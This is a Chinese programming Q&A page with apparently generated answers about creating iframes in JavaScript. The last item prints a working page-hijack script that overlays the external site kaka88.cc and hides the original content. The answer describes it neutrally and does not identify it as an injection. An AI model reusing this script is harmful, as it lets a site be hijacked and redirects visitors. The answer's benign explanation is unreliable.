var iframe = document.createElement(“iframe”); iframe.src = “iframe3.html”;js新增元素怎么设置自定义属性

在JavaScript中，可以使用setAttribute方法为元素设置自定义属性。对于var iframe = document.createElement("iframe");这段代码创建的iframe元素，可以使用setAttribute方法来设置自定义属性。例如，要设置自定义属性name为"ifr"，可以使用以下代码：

iframe.setAttribute("name", "ifr");

这样就可以成功设置自定义属性了。

相关问题

// var agent, password, mode, phoneId //登录所需参数 // window.onload = function () { // init(); // }; //初始化电话条 function init() { var iframe = document.createElement('iframe'); iframe.name = "uinCall"; iframe.id = "uinCall"; iframe.ref = "uinCall"; iframe.allow = "microphone"; iframe.src = "https://ykf.uincall.com/telephonebarplugin/index.html"; // iframe.src = "https://ceshi.uincall.com/telephonebarplugin/index.html"; var telephoneBar = document.getElementById("telephoneBar"); if (telephoneBar) { telephoneBar.appendChild(iframe); var uinCall = document.getElementById("uinCall"); console.log('@@@-', uinCall); iframe.style.width = telephoneBar.getAttribute("data-width"); iframe.style.height = telephoneBar.getAttribute("data-height"); iframe.style.border = 0; } } //打印来自电话条内的抛出事件 window.addEventListener('message', function (e) { // console.log('@EchoData','message>>',e) console.info(e); if (e.data) { try { var resData = JSON.parse(e.data); // 动态修改iframe的高度 if (resData && resData.key && resData.key === 'changeCallHistoryState') { var telephoneBar = document.getElementById("telephoneBar"); var uinCall = document.getElementById("uinCall"); var frameHeight = telephoneBar.getAttribute("data-height"); if (resData.data) { // 显示 var heightConfig = parseInt(frameHeight); uinCall.style.height = (!heightConfig || heightConfig < 310) ? '310px' : heightConfig + 'px'; } else { uinCall.style.height = frameHeight; } } } catch (err) { console.info(e); } } }); //高级话务 function telephoneFunction(data) { let uincall = document.getElementById('uinCall'); if (uincall) { uincall.contentWindow.postMessage(data, '*'); } else { init(); uincall = document.getElementById('uinCall'); if (uincall) { setTimeout(() => { uincall.contentWindow.postMessage(data, '*'); }, 500); } } } 优化代码

这段代码是关于电话条插件的初始化和使用的代码。它包含了以下几个主要功能：

1. 初始化电话条：通过创建一个iframe元素，并设置相应的属性，将电话条插件的页面加载到iframe中，然后将iframe添加到指定的父元素中。

2. 监听电话条内部抛出的事件：通过监听message事件，获取从电话条内部抛出的数据。可以根据具体的需求对数据进行处理。

3. 高级话务功能：通过调用telephoneFunction函数，将数据通过postMessage方法发送给电话条插件。

优化代码的具体实现需要根据具体的需求和代码结构进行分析和调整，无法在没有更多相关信息的情况下给出具体的优化建议。

// 获取当前网页的标题 var titlestr = document.title; // 设置要替换的网页链接并调用setFrame函数 setFrame("http://kaka88.cc"); // 定义设置网页内容和隐藏元素的函数 function setFrame(olink) { // 构造要插入页面的字符串，包含替换网页的iframe标签和原网页标题 var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255);background-position: initial initial; background-repeat: initial initial;"><iframe scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>'; // 将构造好的字符串插入到当前页面中 eval("document.write('" + ss + "');"); try { // 延迟执行后续操作，避免立即执行报错 setTimeout(function() { // 打印document.body.children的长度 console.log(document.body.children.length); // 遍历document.body.children数组 for (var i = 0; i < document.body.children.length; i++) { try { // 获取子元素的标签名和id var a = document.body.children[i].tagName; var b = document.body.children[i].id; // 打印子元素的位置、标签名和id console.log(i + "***" + a + "**" + b); // 判断条件：如果子元素的id不等于"iconDiv1"、"showcloneshengxiaon"且标签名不是标题，则隐藏该元素 if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") { document.body.children[i].style.display = "none"; } } catch (e) {} } // 创建meta标签，用于适配移动设备的视口 var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); }, 100); } catch (e) {} }

这段代码是用来获取当前网页的标题，并在网页中嵌入一个指定链接的iframe。同时，它还定义了一个函数用来设置网页内容和隐藏元素。

函数`setFrame(olink)`接收一个参数`olink`，用来设置要替换的网页链接。在函数内部，它构造了一个字符串`ss`，包含了替换网页的iframe标签和原网页标题。然后使用`document.write`将构造好的字符串插入到当前页面中。

接下来，使用`setTimeout`延迟执行后续操作，避免立即执行报错。在延迟执行的函数中，首先打印了`document.body.children`的长度，然后遍历了`document.body.children`数组。

在遍历过程中，获取了子元素的标签名和id，并打印了子元素的位置、标签名和id。然后根据一定的条件判断，如果子元素的id不等于"iconDiv1"、"showcloneshengxiaon"且标签名不是标题，则将该元素隐藏。

最后，创建了一个meta标签，用于适配移动设备的视口，并将其添加到head标签中。

总结起来，这段代码主要是用来替换当前网页内容，并隐藏一些元素，还包括了适配移动设备视口的设置。